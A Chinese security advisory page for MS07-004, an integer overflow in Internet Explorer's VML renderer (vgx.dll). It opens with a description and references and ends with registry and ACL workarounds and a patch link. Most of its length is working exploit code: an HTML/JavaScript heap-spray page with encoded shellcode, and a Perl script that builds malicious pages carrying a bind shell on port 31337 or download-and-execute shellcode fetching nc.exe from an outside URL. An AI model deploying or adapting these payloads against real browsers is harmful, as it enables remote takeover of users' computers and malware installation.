安全研究
安全漏洞
Microsoft Windows矢量标记语言缓冲区溢出漏洞（MS07-004）
发布日期：2007-01-09
更新日期：2007-01-18
受影响系统：
Microsoft Internet Explorer 7.0描述：
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 5.0.1 SP4
Microsoft Windows XP SP2
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2003
Microsoft Windows 2000SP4
BUGTRAQ ID: 21930
CVE(CAN) ID: CVE-2007-0024
Microsoft Windows是微软发布的非常流行的操作系统。
多个Microsoft产品的矢量标记语言（VML）支持中存在整数溢出，远程攻击者可能利用此漏洞控制用户机器。
在vgx.dll中缺少充分的输入验证，两个整数数据做了乘法运算但没有执行整数溢出检查，这可能允许攻击者强制分配比实际需要少的内存。在将用户提供的数据拷贝到新分配的缓冲区时，就会覆盖堆上所储存的函数指针，导致执行任意指令。远程攻击者可能通过诱骗用户访问恶意网页或点击包含恶意内容的邮件来利用此漏洞。
<*来源：Jospeh Moti
链接：http://secunia.com/advisories/23677/
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=462
http://www.microsoft.com/technet/security/Bulletin/MS07-004.mspx
http://www.us-cert.gov/cas/techalerts/TA07-009A.html
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
MS07-004 VML integer overflow exploit
by lifeasageek at gmail.com
- Trigger CVMLRecolorinfo::InternalLoad() method
you can see the screen captured image "http://picasaweb.google.com/lifeasageek/MS07004/photo?pli=1#5019163989136880322"
which is generated by DarunGrim
- tested on WinXP SP2 Korean version( fully patched except kb929969) & IE 6.0
and I hope it works well in English version
- sorry about that exploit hit ratio is only about 1/5
If you have any good idea to improve reliability, please send me an
e-mail with your idea
- all the java script codes scratched from MS06-055 exploit written by Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>
and slightly modified
- 2007.1.15
-->
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>
<body>
<SCRIPT language="javascript">
shellcode =
unescape("%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
bigblock = unescape("%u0505%u0505");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<350;i++) memory[i] = block + shellcode;
</script>
<v:rect style='width:120pt;height:80pt' fillcolor="red" >
<v:recolorinfo recolorstate="t" numcolors="97612895">
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v/recolorinfo>
</html>
==========================================================
#(c) pang0 // www.tcbilisim.org
#bug found3d by LifeAsaGeek
#thx => o.g. / chaos / sakkure / stansar / xoron
#MS07-004 VML integer overflow exploit
$html = "laz.html";
print "(c) pang0 // www.tcbilisim.org\nbug found3d by LifeAsaGeek\nMS07-004 VML integer overflow exploit\nusage: perl $0 <shell> <opt>\n",
"shell => -b bind(31337)\n-d down.exec if selc. -d u must a down addr. \n",
"exam: perl $0 -b\nexam2: perl $0 -d http://blah.com/nc.exe\n" and exit if !$ARGV[0];
#down exec
$down =
"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03".
"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74".
"\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E".
"\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03".
"\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C".
"\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40".
"\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C".
"\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC".
"\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F".
"\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB".
"\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83".
"\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF".
"\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF".
"$url";
#metasploit 31337 bind shell
$bind =
"\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x09".
"\x7c\xda\x38\x83\xeb\xfc\xe2\xf4\xf5\x16\x31\x75\xe1\x85\x25\xc7".
"\xf6\x1c\x51\x54\x2d\x58\x51\x7d\x35\xf7\xa6\x3d\x71\x7d\x35\xb3".
"\x46\x64\x51\x67\x29\x7d\x31\x71\x82\x48\x51\x39\xe7\x4d\x1a\xa1".
"\xa5\xf8\x1a\x4c\x0e\xbd\x10\x35\x08\xbe\x31\xcc\x32\x28\xfe\x10".
"\x7c\x99\x51\x67\x2d\x7d\x31\x5e\x82\x70\x91\xb3\x56\x60\xdb\xd3".
"\x0a\x50\x51\xb1\x65\x58\xc6\x59\xca\x4d\x01\x5c\x82\x3f\xea\xb3".
"\x49\x70\x51\x48\x15\xd1\x51\x78\x01\x22\xb2\xb6\x47\x72\x36\x68".
"\xf6\xaa\xbc\x6b\x6f\x14\xe9\x0a\x61\x0b\xa9\x0a\x56\x28\x25\xe8".
"\x61\xb7\x37\xc4\x32\x2c\x25\xee\x56\xf5\x3f\x5e\x88\x91\xd2\x3a".
"\x5c\x16\xd8\xc7\xd9\x14\x03\x31\xfc\xd1\x8d\xc7\xdf\x2f\x89\x6b".
"\x5a\x2f\x99\x6b\x4a\x2f\x25\xe8\x6f\x14\xa0\x51\x6f\x2f\x53\xd9".
"\x9c\x14\x7e\x22\x79\xbb\x8d\xc7\xdf\x16\xca\x69\x5c\x83\x0a\x50".
"\xad\xd1\xf4\xd1\x5e\x83\x0c\x6b\x5c\x83\x0a\x50\xec\x35\x5c\x71".
"\x5e\x83\x0c\x68\x5d\x28\x8f\xc7\xd9\xef\xb2\xdf\x70\xba\xa3\x6f".
"\xf6\xaa\x8f\xc7\xd9\x1a\xb0\x5c\x6f\x14\xb9\x55\x80\x99\xb0\x68".
"\x50\x55\x16\xb1\xee\x16\x9e\xb1\xeb\x4d\x1a\xcb\xa3\x82\x98\x15".
"\xf7\x3e\xf6\xab\x84\x06\xe2\x93\xa2\xd7\xb2\x4a\xf7\xcf\xcc\xc7".
"\x7c\x38\x25\xee\x52\x2b\x88\x69\x58\x2d\xb0\x39\x58\x2d\x8f\x69".
"\xf6\xac\xb2\x95\xd0\x79\x14\x6b\xf6\xaa\xb0\xc7\xf6\x4b\x25\xe8".
"\x82\x2b\x26\xbb\xcd\x18\x25\xee\x5b\x83\x0a\x50\xf9\xf6\xde\x67".
"\x5a\x83\x0c\xc7\xd9\x7c\xda\x38";
if ($ARGV[0] eq '-d'){
$shlaz = $down;$url = $ARGV[1];$url = "http://pang0.by.ru/wget/nc.exe";
print "u must start http:// or ftp://\n" and exit if !($url =~ /http|ftp/);
}
$shlaz = $bind if $ARGV[0] eq '-b';
#citation to metasploit
sub dongu {
my $data = shift;
my $mode = shift() || 'LE';
my $code = '';
my $idx = 0;
if (length($data) % 2 != 0) {
$data .= substr($data, -1, 1);
}
while ($idx < length($data) - 1) {
my $c1 = ord(substr($data, $idx, 1));
my $c2 = ord(substr($data, $idx+1, 1));
if ($mode eq 'LE') {
$code .= sprintf('%%u%.2x%.2x', $c2, $c1);
} else {
$code .= sprintf('%%u%.2x%.2x', $c1, $c2);
}
$idx += 2;
}
return $code;
}
$sh3llz = dongu($shlaz);
#_
$body = <<BODY;
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\\:* { behavior: url(#VMLRender); }
</style>
</head>
<body>
<SCRIPT language="javascript">
shellcode =
unescape("%u9090%u9090$sh3llz");
bigblock = unescape("%u0505%u0505");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<350;i++) memory[i] = block + shellcode;
</script>
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</html>
BODY
open H,">$html" or die $! and exit;
print H $body;
建议：
临时解决方法：
NSFOCUS建议您采取如下措施以降低威胁：
* 注销VGX.DLL
点击“开始”、“运行”，输入
"%SystemRoot%\System32\regsvr32.exe" -u "%CommonProgramFiles%\Microsoft Shared\VGX\vgx.dll"
然后点击“确定”。
* 将VGX.DLL的访问控制列表修改得更加严格
在命令提示符输入以下命令:
cacls "%CommonProgramFiles%\Microsoft Shared\VGX\vgx.dll"
在命令提示符输入以下命令拒绝everyone组访问这个文件：
echo y| cacls "%CommonProgramFiles%\Microsoft Shared\VGX\vgx.dll" /d everyone
* 配置Microsoft Windows XP Service Pack 2的Internet Explorer 6在Internet和本地Intranet安全区中禁用二进制和脚本行为。
* 如果您使用的是Outlook 2002或更高版本，或者是Outlook Express 6 SP1或更高版本，请用纯文本格式阅读电子邮件，以帮助保护自己免受来自HTML电子邮件攻击媒介的攻击。
厂商补丁：
Microsoft
---------
Microsoft已经为此发布了一个安全公告（MS07-004）以及相应补丁:
MS07-004：Vulnerability in Vector Markup Language Could Allow Remote Code Execution (929969)
链接：http://www.microsoft.com/technet/security/Bulletin/MS07-004.mspx
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